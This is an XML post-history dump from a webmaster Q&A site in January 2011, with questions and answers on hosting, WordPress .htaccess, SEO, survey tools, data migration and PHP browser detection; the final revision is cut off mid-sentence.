  <row Id="16367" PostHistoryTypeId="2" PostId="7712" RevisionGUID="ea788ba0-5988-40cf-a503-a0d8a5f46da5" CreationDate="2011-01-13T11:17:30.373" UserDisplayName="JP19" Text="I am looking for a cheap dedicated server. (I was earlier happy with VPS, untill I realized that the disk I/O is not at all reliable and depends on what your neighbours are upto at the moment).&#xD;&#xA;&#xD;&#xA;I was browsing through http://www.lowenddedi.net/the-database&#xD;&#xA;I don't understand memory speed and NIC speed columns at all. What will be their affect? Do I need to worry about them?&#xD;&#xA;&#xD;&#xA;Also, can someone help suggest a provider, with following criteria:&#xD;&#xA;&#xD;&#xA;1) Good &amp; reliable Network &#xD;&#xA;&#xD;&#xA;2) Price &lt;= $60/month.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;JP" />
  <row Id="16368" PostHistoryTypeId="1" PostId="7712" RevisionGUID="ea788ba0-5988-40cf-a503-a0d8a5f46da5" CreationDate="2011-01-13T11:17:30.373" UserDisplayName="JP19" Text="Help slecting dedicated server with good disk I/O &amp; network" />
  <row Id="16369" PostHistoryTypeId="3" PostId="7712" RevisionGUID="ea788ba0-5988-40cf-a503-a0d8a5f46da5" CreationDate="2011-01-13T11:17:30.373" UserDisplayName="JP19" Text="&lt;server&gt;&lt;dedicated-hosting&gt;" />
  <row Id="16373" PostHistoryTypeId="2" PostId="7714" RevisionGUID="27b94c36-2173-4394-bd82-ed92e65180a5" CreationDate="2011-01-13T11:21:34.303" UserId="3718" Text="I would recommend looking at Cloud Computing, rather than a dedicated server. Reasons for this are that you only pay for what you use, and the fact it is &quot;in the cloud&quot;, you have a number of servers hosting your site instead of just the one.&#xD;&#xA;&#xD;&#xA;Several companies offer this, such as Amazon and (soon) Ubuntu. From memory, it's something like $0.10 per something. Can't remember if it's per megabyte or per hour." />
  <row Id="16376" PostHistoryTypeId="2" PostId="7715" RevisionGUID="e7b947b5-9c5d-4b4f-bcec-a8379418d48c" CreationDate="2011-01-13T11:49:47.943" UserId="4090" Text="I have WordPress installed at the root level of a website.&#xD;&#xA;I thought it would be easy enough to have a &quot;coming soon&quot; page called `default.html` and edit the `.htaccess` file as follows:&#xD;&#xA;&#xD;&#xA;&gt;     AddHandler php5-script .php&#xD;&#xA;    DirectoryIndex default.html index.php&#xD;&#xA;    # BEGIN WordPress&#xD;&#xA;    # END WordPress&#xD;&#xA;&#xD;&#xA;...so that visitors to the site are sent to the default page, and I could manually specify `index.php` as my destination for testing. (This isn't a high-security job.) But `index.php` is redirecting me to the default page. When I remove the `DirectoryIndex` line, the `index.php` file is found automatically by visitors to the site root, but... that's the page I was trying to hide. &#xD;&#xA;&#xD;&#xA;What am I doing wrong with `.htaccess` and how can I get it to behave the way I want?" />
  <row Id="16377" PostHistoryTypeId="1" PostId="7715" RevisionGUID="e7b947b5-9c5d-4b4f-bcec-a8379418d48c" CreationDate="2011-01-13T11:49:47.943" UserId="4090" Text="How can I work on a WordPress theme already installed in the root directory?" />
  <row Id="16378" PostHistoryTypeId="3" PostId="7715" RevisionGUID="e7b947b5-9c5d-4b4f-bcec-a8379418d48c" CreationDate="2011-01-13T11:49:47.943" UserId="4090" Text="&lt;wordpress&gt;&lt;htaccess&gt;" />
  <row Id="16379" PostHistoryTypeId="2" PostId="7716" RevisionGUID="2383c9a7-91d7-4d87-9cd6-264ebbfbf1f0" CreationDate="2011-01-13T12:11:32.267" UserId="233" Text="Ideally search engines should not know about default.php or JobBoard.php but only conservationjobboard.com/ as the homepage. So what you ought to do is redirect both to the root domain, but that is more difficult technically (since you are displaying JobBoard anyway).&#xD;&#xA;&#xD;&#xA;The next best thing is to use the canonical meta tag. On JobBoard.php add:&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;canonical&quot; href=&quot;http://www.conservationjobboard.com/&quot;&gt;" />
  <row Id="16380" PostHistoryTypeId="2" PostId="7717" RevisionGUID="6cf36041-1dc2-4e9f-9003-aa26ed2571fb" CreationDate="2011-01-13T13:22:25.013" UserId="2292" Text="There is a RSS feed right above the discussion field in LinkedIn groups. I wanted to know how these are generated." />
  <row Id="16381" PostHistoryTypeId="1" PostId="7717" RevisionGUID="6cf36041-1dc2-4e9f-9003-aa26ed2571fb" CreationDate="2011-01-13T13:22:25.013" UserId="2292" Text="Is there a way to add a PR announcement in the news feed of a certain group on LinkedIn?" />
  <row Id="16382" PostHistoryTypeId="3" PostId="7717" RevisionGUID="6cf36041-1dc2-4e9f-9003-aa26ed2571fb" CreationDate="2011-01-13T13:22:25.013" UserId="2292" Text="&lt;advertising&gt;" />
  <row Id="16383" PostHistoryTypeId="25" PostId="7715" RevisionGUID="31a59826-b6eb-4007-a1f4-787b9108d64b" CreationDate="2011-01-13T13:55:29.593" Comment="http://twitter.com/#!/StackWebmasters/status/25551510498705408" />
  <row Id="16390" PostHistoryTypeId="10" PostId="7717" RevisionGUID="8d2a8eab-c508-4e73-924b-27b8dc2ca694" CreationDate="2011-01-13T14:16:56.700" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="16391" PostHistoryTypeId="2" PostId="7719" RevisionGUID="71ddcac4-2bd6-4bb8-856a-636028503b26" CreationDate="2011-01-13T14:43:21.547" UserId="1459" Text="All the while I am using Google Form to publish my survey. Now, I would like to have image on my survey form. I realize Google Form doesn't have such feature. Is there any other free alternative service I can use?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="16392" PostHistoryTypeId="1" PostId="7719" RevisionGUID="71ddcac4-2bd6-4bb8-856a-636028503b26" CreationDate="2011-01-13T14:43:21.547" UserId="1459" Text="Free Online Survey Form which enable me to insert image in survey question" />
  <row Id="16393" PostHistoryTypeId="3" PostId="7719" RevisionGUID="71ddcac4-2bd6-4bb8-856a-636028503b26" CreationDate="2011-01-13T14:43:21.547" UserId="1459" Text="&lt;google&gt;" />
  <row Id="16394" PostHistoryTypeId="4" PostId="45" RevisionGUID="720be657-7b5e-48d6-9011-8f566e8e3046" CreationDate="2011-01-13T14:45:07.080" UserId="36" Comment="edited tags; edited title" Text="What are some options for taking payments on my website?" />
  <row Id="16395" PostHistoryTypeId="6" PostId="45" RevisionGUID="720be657-7b5e-48d6-9011-8f566e8e3046" CreationDate="2011-01-13T14:45:07.080" UserId="36" Comment="edited tags; edited title" Text="&lt;payments&gt;&lt;payment-gateway&gt;&lt;google-checkout&gt;" />
  <row Id="16396" PostHistoryTypeId="6" PostId="7719" RevisionGUID="3b269070-fc76-4292-97bf-b11df0d00fc8" CreationDate="2011-01-13T14:47:21.053" UserId="1253" Comment="Removed &quot;google&quot; tag. added &quot;surveys&quot;" Text="&lt;surveys&gt;" />
  <row Id="16397" PostHistoryTypeId="2" PostId="7720" RevisionGUID="d2b861a3-70b3-4caf-83cc-2b17f7f93125" CreationDate="2011-01-13T15:10:04.517" UserId="2756" Text="Does anyone know of any open source (or priced for SMB) self-hosted alternatives to services like DropSend, YouSendIt, etc?&#xD;&#xA;&#xD;&#xA;I'd like something that auto-removes files after a set period of time, generates links to the uploaded files and shows a history for each user with upload privileges.  That said, I'd be happy to look at any options that are available.&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="16398" PostHistoryTypeId="1" PostId="7720" RevisionGUID="d2b861a3-70b3-4caf-83cc-2b17f7f93125" CreationDate="2011-01-13T15:10:04.517" UserId="2756" Text="PHP-based self-hosted file drop software?" />
  <row Id="16399" PostHistoryTypeId="3" PostId="7720" RevisionGUID="d2b861a3-70b3-4caf-83cc-2b17f7f93125" CreationDate="2011-01-13T15:10:04.517" UserId="2756" Text="&lt;file-manger&gt;" />
  <row Id="16400" PostHistoryTypeId="2" PostId="7721" RevisionGUID="77804677-bd3a-4479-b264-d3758d4ef467" CreationDate="2011-01-13T15:33:06.463" UserId="4591" Text="I use a different (easier) method of achieving the same thing.&#xD;&#xA;&#xD;&#xA; - create a simple &quot;coming soon&quot; theme (I think there is one in the gallery you can modify).&#xD;&#xA; - install the Theme Test Drive (TTD) plugin here's the info: http://www.prelovac.com/vladimir/wordpress-plugins/theme-test-drive&#xD;&#xA; - Configure TTD to send all standard users to your &quot;coming soon&quot; theme and you (admin user) to the design you're working on automatically&#xD;&#xA; - you can send links to others (non-admin users) for feedback by simply adding a url variable&#xD;&#xA; - when you're happy with the design simply make the new design the default and disable TTD&#xD;&#xA;&#xD;&#xA;It's worked really well for me and might be a bit simpler for future/frequent mods than hacking .htaccess.&#xD;&#xA;&#xD;&#xA;Good luck,&#xD;&#xA;James" />
  <row Id="16401" PostHistoryTypeId="2" PostId="7722" RevisionGUID="a35a2914-6c53-4e45-84ec-e3e55a16fdf0" CreationDate="2011-01-13T16:05:01.803" UserId="3707" Text="If you have a [SurveryMonkey][1] account you can do that.&#xD;&#xA;Read this [peice][2] from the surverymonkey help blog.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://surveymonkey.com&#xD;&#xA;  [2]: http://help.surveymonkey.com/app/answers/detail/a_id/65/~/use-the-image-question-type-to-add-pictures-or-images-into-a-design." />
  <row Id="16402" PostHistoryTypeId="5" PostId="7694" RevisionGUID="3ce20e7a-7580-4336-9bc3-efc487b8c5e3" CreationDate="2011-01-13T16:16:57.543" UserId="2293" Comment="Scenario clarification" Text="My concern is about SEO. Now let me explain the scenario.&#xD;&#xA;&#xD;&#xA;I am making a 3 languages website. The development is alright, but I was targeting local customers with one domain, and international (english version) with another. Eg:&#xD;&#xA;&#xD;&#xA;Local&#xD;&#xA;http://www.minhalojadesapatos.com.br (this is not the real website, just example!)&#xD;&#xA;&#xD;&#xA;Other&#xD;&#xA;http://www.myshoesstore.com.br&#xD;&#xA;&#xD;&#xA;Both domain point to exactly the same hosting and content, but when user comes through local domain, default language is set to portuguese, otherwise, default is english. Language handling on backend uses PHP Sessions and cookies, so with just a click users can change content language.&#xD;&#xA;&#xD;&#xA;How to avoid being SEO-penalised in this context? (yeah, I was hungry when focusing market for choosing two domains but the activity really needs that, it is a travel agency).&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;--------&#xD;&#xA;&#xD;&#xA;**Clarification**&#xD;&#xA;&#xD;&#xA;If client enter by domain #1, he/she will see a portuguese page. But there is a link on top to change language for english (this link contains a rel=&quot;nofollow&quot;). Clicking this link, a session variable will be set, and content will display english, which contains the same content as domain #2 directly accessed, and vice-versa. That's my concern about duplicate content." />
  <row Id="16403" PostHistoryTypeId="25" PostId="7720" RevisionGUID="396649ce-53aa-442e-9f26-2b61d48c14f7" CreationDate="2011-01-13T16:55:29.820" Comment="http://twitter.com/#!/StackWebmasters/status/25596810147930112" />
  <row Id="16404" PostHistoryTypeId="2" PostId="7723" RevisionGUID="8ebc4780-570d-4d44-8372-1061d9470ccc" CreationDate="2011-01-13T17:26:45.847" UserId="233" Text="Often this sort of thing is better done manually because software cannot really extract meaning from whatever data it finds. You can just start with the most important pages, search them in [Yahoo SE][1] and export the data to CSV.&#xD;&#xA;&#xD;&#xA;Having said that, I have used &lt;a href=&quot;http://www.ibusinesspromoter.com/&quot;&gt;Internet Business Promoter&lt;/a&gt; in the past, which analyzes the top 10 websites for a search term, showing things like number of backlinks, page titles, keywords and so on.&#xD;&#xA;&#xD;&#xA;I don't think it's really worth the money because (a) the on-page SEO is pretty obvious with a small amount of research and (b) I don't think you get much analysis of the backlinks. However, I think there's a free trial so worth having a look.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://siteexplorer.search.yahoo.com" />
  <row Id="16405" PostHistoryTypeId="2" PostId="7724" RevisionGUID="7c919907-2d28-4a54-bc61-770e25df305a" CreationDate="2011-01-13T17:39:22.657" UserId="4592" Text="Google has posted a [SEO starter guide][1] (pdf) which spells out in detail which parts of a site they recommend optimizing first. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/webmasters/docs/search-engine-optimization-starter-guide.pdf" />
  <row Id="16406" PostHistoryTypeId="2" PostId="7725" RevisionGUID="4479a916-dea0-4d8b-9245-ec487192708b" CreationDate="2011-01-13T18:33:26.933" UserId="4335" Text="I've got a Flex 3 website. When I in Google's webmaster tools -&gt; Your site on the web -&gt; Keywords, none are listed.&#xD;&#xA;&#xD;&#xA;Does anyone have an all-Flex site that has keywords listed for it the above? The sites been up for about a month. It's been indexed by Google. I have keyword metatags in the site, which from what I've read Google ignores.&#xD;&#xA;&#xD;&#xA;Where does google come up with the keywords for your site? Any suggestions on what I need to do?&#xD;&#xA;&#xD;&#xA;Thank you.&#xD;&#xA;&#xD;&#xA;-Laxmidi&#xD;&#xA;&#xD;&#xA;[www.brainpinata.com][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.brainpinata.com" />
  <row Id="16407" PostHistoryTypeId="1" PostId="7725" RevisionGUID="4479a916-dea0-4d8b-9245-ec487192708b" CreationDate="2011-01-13T18:33:26.933" UserId="4335" Text="My Flex 3 Website Doesn't Have Any Keywords Listed in Google's Webmaster Tools" />
  <row Id="16408" PostHistoryTypeId="3" PostId="7725" RevisionGUID="4479a916-dea0-4d8b-9245-ec487192708b" CreationDate="2011-01-13T18:33:26.933" UserId="4335" Text="&lt;google-webmaster-tools&gt;&lt;keywords&gt;" />
  <row Id="16409" PostHistoryTypeId="2" PostId="7726" RevisionGUID="f137df79-111a-4ac0-a34e-e06500561bf4" CreationDate="2011-01-13T19:47:11.847" UserId="2595" Text="The keywords field doesn't list your meta tag for keywords. It lists the most used keywords that referred to your site from Google. It is possible that you just don't have any referrers yet, hence there is nothing to show. " />
  <row Id="16410" PostHistoryTypeId="25" PostId="7725" RevisionGUID="b693dc8e-dcee-4c19-9f34-3fee8beec320" CreationDate="2011-01-13T19:55:29.893" Comment="http://twitter.com/#!/StackWebmasters/status/25642109499342849" />
  <row Id="16412" PostHistoryTypeId="2" PostId="7728" RevisionGUID="9b4698a8-45b3-4431-8296-c82bcae401c2" CreationDate="2011-01-13T20:37:45.443" UserId="138" Text="This is anecdotal evidence, not an impartial study or source, but [when we implemented an EV Certificate][1] we noticed almost no difference in sales. But that's mainly because we were a normal B2B commerce website, not a bank.&#xD;&#xA;&#xD;&#xA;That said, yes, users are aware of what SSL is, but it didn't seem to make a huge difference to us. We used to run the entire website on SSL, and then decided to only switch the user to SSL during the login process (and keep them on SSL) and we actually found that traffic and sales increased (I don't know why?).&#xD;&#xA;&#xD;&#xA;That said, you've hit the nail on the head - for us at least, it all seems to be about the perception of trust, rather than the actual act of encrypting the data.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/2214/should-we-get-an-ev-certificate" />
  <row Id="16413" PostHistoryTypeId="2" PostId="7729" RevisionGUID="8d8097b7-adab-43f6-9d94-6f686e6c40b8" CreationDate="2011-01-13T22:14:53.130" UserId="2756" Text="OK, so this seems like a really simply problem, but I have yet to find a solution that accomplishes the following:&#xD;&#xA;&#xD;&#xA;1. Opens the link in a new window&#xD;&#xA;2. Tracks the event in GA (obviously)&#xD;&#xA;3. Doesn't trigger pop-up blockers (uses target=&quot;_blank&quot; instead of window.open)&#xD;&#xA;&#xD;&#xA;Most of the code I've seen, including Google's, doesn't take into account the case of opening in a new window - they just window location.href.&#xD;&#xA;&#xD;&#xA;Even GAAddons (http://gaaddons.com/), which charges for commercial use, doesn't seem to work for me.&#xD;&#xA;&#xD;&#xA;Perhaps, I'm missing something simple - I'd be relieved if so and would thank profusely whoever points it out to me!&#xD;&#xA;&#xD;&#xA;If no one is able to provide an example, I'll post some of the test cases I've created to illustrate the problem.&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;" />
  <row Id="16414" PostHistoryTypeId="1" PostId="7729" RevisionGUID="8d8097b7-adab-43f6-9d94-6f686e6c40b8" CreationDate="2011-01-13T22:14:53.130" UserId="2756" Text="External link tracking when opening the link in a new window in Google Analytics?" />
  <row Id="16415" PostHistoryTypeId="3" PostId="7729" RevisionGUID="8d8097b7-adab-43f6-9d94-6f686e6c40b8" CreationDate="2011-01-13T22:14:53.130" UserId="2756" Text="&lt;google-analytics&gt;" />
  <row Id="16417" PostHistoryTypeId="25" PostId="7729" RevisionGUID="f2c0f4ce-5427-4c6c-bcba-57160a649380" CreationDate="2011-01-13T22:55:29.547" Comment="http://twitter.com/#!/StackWebmasters/status/25687405839253504" />
  <row Id="16418" PostHistoryTypeId="2" PostId="7730" RevisionGUID="9ee410c0-c8ea-428f-8798-eecf86489fae" CreationDate="2011-01-14T00:33:40.813" UserId="4558" Text="Standart html/asp/php files with images, styles and javascript if necessary. Thats your items if you dont need any transaction or dynamic content. You can create some dynamic material with includes if you want some quick management of pages. &#xD;&#xA;&#xD;&#xA;www.smashingmagazine.com will be your ultimate starting place for inspiration and information about design and other stuff for web. &#xD;&#xA;&#xD;&#xA;a standart FTP hosting will be enough, and a secure FTP password will be the only need for such sites. &#xD;&#xA;&#xD;&#xA;For starters these are ok i guess. Any other dark areas?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="16421" PostHistoryTypeId="2" PostId="7731" RevisionGUID="1e3de4dc-766f-449e-9e1e-1722f36f955a" CreationDate="2011-01-14T03:03:10.017" UserId="4600" Text="I recently acquired a client who is a photographer and was interested in moving web hosts since his current host had threatened to throw him off due to CPU spiking.&#xD;&#xA;&#xD;&#xA;The migration went fairly easily, with about 350MBs of website and media files. Then I discovered about 60GBs of client galleries he had failed to mention. &#xD;&#xA;&#xD;&#xA;I am unable to move this much data myself, since I'm capping out at about 20kb/s on the FTP connection. Has anyone encountered a situation where they needed to migrate this much data between cheap hosting? Should we contact the hosting companies about this (he is moving from Westhost to MediaTemple)?" />
  <row Id="16422" PostHistoryTypeId="1" PostId="7731" RevisionGUID="1e3de4dc-766f-449e-9e1e-1722f36f955a" CreationDate="2011-01-14T03:03:10.017" UserId="4600" Text="Moving large amounts of data between shared hosts" />
  <row Id="16423" PostHistoryTypeId="3" PostId="7731" RevisionGUID="1e3de4dc-766f-449e-9e1e-1722f36f955a" CreationDate="2011-01-14T03:03:10.017" UserId="4600" Text="&lt;web-hosting&gt;&lt;shared-hosting&gt;&lt;data&gt;" />
  <row Id="16424" PostHistoryTypeId="2" PostId="7732" RevisionGUID="884f2260-137f-4ac5-adfa-2a5c63681253" CreationDate="2011-01-14T04:10:09.393" UserId="1359" Text="I was a little surprised that Amazon's site doesn't specify a doctype, and is rendered in quirks mode. What could possibly be the reason for this? I understand what quirks mode is and why doctypes were introduced, but I can't understand why this would be intentionally left off.&#xD;&#xA;&#xD;&#xA;I guess it might simplify markup if they're trying to support ancient browsers, but isn't that like shooting yourself in the foot when it comes to modern browsers, especially when their site is so Javascript rich?  Does this level the playing field when it comes to supporting really old browsers?&#xD;&#xA;&#xD;&#xA;Is there something else I'm missing?" />
  <row Id="16425" PostHistoryTypeId="1" PostId="7732" RevisionGUID="884f2260-137f-4ac5-adfa-2a5c63681253" CreationDate="2011-01-14T04:10:09.393" UserId="1359" Text="Are there any good reasons to intentionally serve a new web site in Quirks mode?" />
  <row Id="16426" PostHistoryTypeId="3" PostId="7732" RevisionGUID="884f2260-137f-4ac5-adfa-2a5c63681253" CreationDate="2011-01-14T04:10:09.393" UserId="1359" Text="&lt;html&gt;&lt;quirks-mode&gt;" />
  <row Id="16427" PostHistoryTypeId="2" PostId="7733" RevisionGUID="389179de-d8b2-4e96-9e65-d36b3c540738" CreationDate="2011-01-14T04:35:20.470" UserId="4601" Text="If nothing else you're going to want to compress those files as much as you can, I suggest a tarball or something along those lines. Granted, if they're all images you're not going to save a whole lot. Additionally, this also assumes that you have some sort of shell access to the server and if they're cheap hosts, you probably don't have that access. &#xD;&#xA;&#xD;&#xA;A lot of hosting companies do offer migration services but they won't be free. You'll have to inquire with them to find out if that's a possibility. That will probably be your best option." />
  <row Id="16428" PostHistoryTypeId="25" PostId="7732" RevisionGUID="bbbbc889-11e7-4e71-a462-e250d40dcdc9" CreationDate="2011-01-14T04:55:32.267" Comment="http://twitter.com/#!/StackWebmasters/status/25778015065608193" />
  <row Id="16429" PostHistoryTypeId="2" PostId="7734" RevisionGUID="6fe7e29b-8265-4eb1-b6ad-447303b66316" CreationDate="2011-01-14T05:06:48.097" UserId="1757" Text="If you have shell access, you can just use your shell account to SFTP to the new server and upload it directly from one host to the other. It may still take a while, but it will be much faster and won't take up any of your bandwidth.&#xD;&#xA;&#xD;&#xA;Also, any decent web host should be willing to perform this type of transfer for you for free. 60GB isn't a lot of data in the grand scheme of things, and at worst, they could just put it on 7 dual-layer DVDs and mail it to you.&#xD;&#xA;&#xD;&#xA;This sort of thing is why it's better to pay an extra $5/month to get a service provider with good support and won't try to nickel and dime you to death for common tasks. Though you should let your client know that they need to keep their own backups of important files. All of those client galleries wouldn't even fill up a small 160GB laptop hard drive or 320GB external." />
  <row Id="16430" PostHistoryTypeId="2" PostId="7735" RevisionGUID="6142ef66-394a-4bb7-8dc7-f6a4a13e6a5f" CreationDate="2011-01-14T05:37:52.097" UserId="4451" Text="You do not want to host a whole website on amazon.  Only parts of it. For example. your global images and sprites, or your apps.  And Godaddy is not a good hosting service.  They are only good for domain regs. " />
  <row Id="16431" PostHistoryTypeId="2" PostId="7736" RevisionGUID="1a895d02-00e4-409f-8344-0fda4f2d7ad4" CreationDate="2011-01-14T05:43:33.730" UserDisplayName="Chirag" Text="What are some important modules I should install in Drupal if I am going to use it for a news website." />
  <row Id="16432" PostHistoryTypeId="1" PostId="7736" RevisionGUID="1a895d02-00e4-409f-8344-0fda4f2d7ad4" CreationDate="2011-01-14T05:43:33.730" UserDisplayName="Chirag" Text="Importatnt Drupal Modules for a news site" />
  <row Id="16433" PostHistoryTypeId="3" PostId="7736" RevisionGUID="1a895d02-00e4-409f-8344-0fda4f2d7ad4" CreationDate="2011-01-14T05:43:33.730" UserDisplayName="Chirag" Text="&lt;drupal&gt;" />
  <row Id="16434" PostHistoryTypeId="2" PostId="7737" RevisionGUID="ff832c38-3e02-4e26-9a6f-1d845e997d39" CreationDate="2011-01-14T05:58:00.353" UserId="2986" Text="My client has asked me to implement a browser detection system for the admin login with the following criteria, allow these:&#xD;&#xA;&#xD;&#xA; - Internet Explorer 8 or newer&#xD;&#xA; - Firefox 3.6 or newer&#xD;&#xA; - Safari 5 or newer for Mac only&#xD;&#xA;&#xD;&#xA;And everything else should be blocked. They want me to implement a page telling the user what browser they need to upgrade/switch to in order to access the CMS.&#xD;&#xA;&#xD;&#xA;**Basically I need to know the best way to detect these browsers with PHP, distinct from any other browsers, and I've read that [browser sniffing per se is not a good idea][1].**&#xD;&#xA;&#xD;&#xA;The CMS is WordPress but this is _**not**_ a WordPress question *(FYI I am a moderator on the [WordPress Answers][2] site.)*  Once I figure out the right technique to detect the browser I'm fully capable to make WordPress react as my client wants, I just need to know what the best ways are with PHP *(or worse case jQuery, but I much prefer to do on the server)* to figure how what works and what doesn't.&#xD;&#xA;&#xD;&#xA;Please understand that *&quot;Don't do it&quot;* is not an acceptable answer for this question. I know this client too well and when they ask me to implement something I need to do it *(they are a really good client so I'm happy to do what they ask.)*&#xD;&#xA;&#xD;&#xA;Thanks in advance for your expertise.&#xD;&#xA;&#xD;&#xA;-Mike&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.howtocreate.co.uk/tutorials/jsexamples/sniffer.html&#xD;&#xA;  [2]: http://wordpress.stackexchange.com" />
  <row Id="16435" PostHistoryTypeId="1" PostId="7737" RevisionGUID="ff832c38-3e02-4e26-9a6f-1d845e997d39" CreationDate="2011-01-14T05:58:00.353" UserId="2986" Text="Detecting Browser Types?" />
  <row Id="16436" PostHistoryTypeId="3" PostId="7737" RevisionGUID="ff832c38-3e02-4e26-9a6f-1d845e997d39" CreationDate="2011-01-14T05:58:00.353" UserId="2986" Text="&lt;php&gt;&lt;browsers&gt;&lt;detection&gt;" />
  <row Id="16437" PostHistoryTypeId="2" PostId="7738" RevisionGUID="1b2e94eb-62fe-40c0-abcb-13a3427da2dc" CreationDate="2011-01-14T06:54:12.010" UserId="1064" Text="`$_SERVER['HTTP_USER_AGENT']` contains the string you seek - how you parse it is up to you... [user-agents.org][1] provides examples of common contents.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://user-agents.org/" />
  <row Id="16438" PostHistoryTypeId="2" PostId="7739" RevisionGUID="6a7d1d8a-6580-44ff-8ea9-2c8f731848c5" CreationDate="2011-01-14T07:14:41.723" UserId="1689" Text="Which advertising network has an API I can use to show my users targeted ads based on certain dictionary words present in their user-generated content, similar to GMail's targeted ads?" />
  <row Id="16439" PostHistoryTypeId="1" PostId="7739" RevisionGUID="6a7d1d8a-6580-44ff-8ea9-2c8f731848c5" CreationDate="2011-01-14T07:14:41.723" UserId="1689" Text="Contextual Advertising API like GMail Ads" />
  <row Id="16440" PostHistoryTypeId="3" PostId="7739" RevisionGUID="6a7d1d8a-6580-44ff-8ea9-2c8f731848c5" CreationDate="2011-01-14T07:14:41.723" UserId="1689" Text="&lt;advertising&gt;&lt;api&gt;" />
  <row Id="16441" PostHistoryTypeId="25" PostId="7737" RevisionGUID="cfaf7ee9-6247-4419-8a2d-87d3740b53e8" CreationDate="2011-01-14T07:55:32.733" Comment="http://twitter.com/#!/StackWebmasters/status/25823314052120576" />
  <row Id="16443" PostHistoryTypeId="2" PostId="7741" RevisionGUID="091cde96-a3db-4cb3-b245-5b7b8739c54b" CreationDate="2011-01-14T08:21:37.787" UserId="2011" Text="Picxelplay is right, but that said, you may want to check out [Open Publish][1], a Drupal distribution aimed at newspapers and the like.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://openpublishapp.com/" />
  <row Id="16444" PostHistoryTypeId="5" PostId="7738" RevisionGUID="56169882-3cc7-4fa9-95d9-afa7796e31b8" CreationDate="2011-01-14T10:33:36.450" UserId="1064" Comment="Updated with PHP manual/documentation info; deleted 37 characters in body" Text="&lt;s&gt;`$_SERVER['HTTP_USER_AGENT']` contains the string you seek - how you parse it is up to you... [user-agents.org][1] provides examples of common contents.&lt;/s&gt;&#xD;&#xA;&#xD;&#xA;Apparently this problem comes up often enough that there's a function - [get_browser()][2] - which specifically addresses it so you're looking for something like this:&#xD;&#xA;&#xD;&#xA;    $user_agent = get_browser( $_SERVER['HTTP_USER_AGENT'] );&#xD;&#xA;&#xD;&#xA;... and from there you can apply appropriate checks against the returned object.&#xD;&#xA;&#xD;&#xA;  [1]: http://user-agents.org/&#xD;&#xA;  [2]: http://php.net/manual/en/function.get-browser.php" />
  <row Id="16445" PostHistoryTypeId="25" PostId="7731" RevisionGUID="2b96babd-0681-457c-ae2a-49f4f35ba2f6" CreationDate="2011-01-14T10:55:32.990" Comment="http://twitter.com/#!/StackWebmasters/status/25868614309515265" />
  <row Id="16446" PostHistoryTypeId="2" PostId="7742" RevisionGUID="af549fc4-62fc-42dc-b0dd-54f489adf2cd" CreationDate="2011-01-14T11:49:02.780" UserId="1320" Text="My website is hosted on my own server, however the domain is registered with fasthosts and I want to change to a different provider.&#xD;&#xA;&#xD;&#xA;Will i experience any downtime?&#xD;&#xA;" />
  <row Id="16447" PostHistoryTypeId="1" PostId="7742" RevisionGUID="af549fc4-62fc-42dc-b0dd-54f489adf2cd" CreationDate="2011-01-14T11:49:02.780" UserId="1320" Text="Domain reg transfer - will my site go down at all?" />
  <row Id="16448" PostHistoryTypeId="3" PostId="7742" RevisionGUID="af549fc4-62fc-42dc-b0dd-54f489adf2cd" CreationDate="2011-01-14T11:49:02.780" UserId="1320" Text="&lt;domains&gt;&lt;web-hosting&gt;" />
  <row Id="16449" PostHistoryTypeId="2" PostId="7743" RevisionGUID="1b17ac87-2871-4f10-b320-6c7f20668a28" CreationDate="2011-01-14T11:54:59.093" UserId="4588" Text="Google's keywords list keywords found on your website. It is no keywords at you site, because the only code in your site is a javascript which calls the flash. And Google cannot read flash.&#xD;&#xA;&#xD;&#xA;Google often ignore the meta tags.&#xD;&#xA;&#xD;&#xA;Flash is bad for SEO." />
  <row Id="16450" PostHistoryTypeId="2" PostId="7744" RevisionGUID="40c933d0-efa8-4b7e-b43e-481e7b906f89" CreationDate="2011-01-14T12:32:14.087" UserId="233" Text="Google is not great at indexing the content from Flash files, but [it is getting better][1]. I don't know of any particular techniques to get your Flash content indexed better but you should do some research and see if you can change your Flash code to improve indexing.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2008/06/improved-flash-indexing.html" />
  <row Id="16451" PostHistoryTypeId="5" PostId="7737" RevisionGUID="7dcdcb74-7b5c-4389-a76a-3add92165e47" CreationDate="2011-01-14T12:50:58.803" UserId="2986" Comment="Added UPDATE for clarification" Text="My client has asked me to implement a browser detection system for the admin login with the following criteria, allow these:&#xD;&#xA;&#xD;&#xA; - Internet Explorer 8 or newer&#xD;&#xA; - Firefox 3.6 or newer&#xD;&#xA; - Safari 5 or newer for Mac only&#xD;&#xA;&#xD;&#xA;And everything else should be blocked. They want me to implement a page telling the user what browser they need to upgrade/switch to in order to access the CMS.&#xD;&#xA;&#xD;&#xA;**Basically I need to know the best way to detect these browsers with PHP, distinct from any other browsers, and I've read that [browser sniffing per se is not a good idea][1].**&#xD;&#xA;&#xD;&#xA;The CMS is WordPress but this is _**not**_ a WordPress question *(FYI I am a moderator on the [WordPress Answers][2] site.)*  Once I figure out the right technique to detect the browser I'm fully capable to make WordPress react as my client wants, I just need to know what the best ways are with PHP *(or worse case jQuery, but I much prefer to do on the server)* to figure how what works and what doesn't.&#xD;&#xA;&#xD;&#xA;Please understand that *&quot;Don't do it&quot;* is not an acceptable answer for this question. I know this client too well and when they ask me 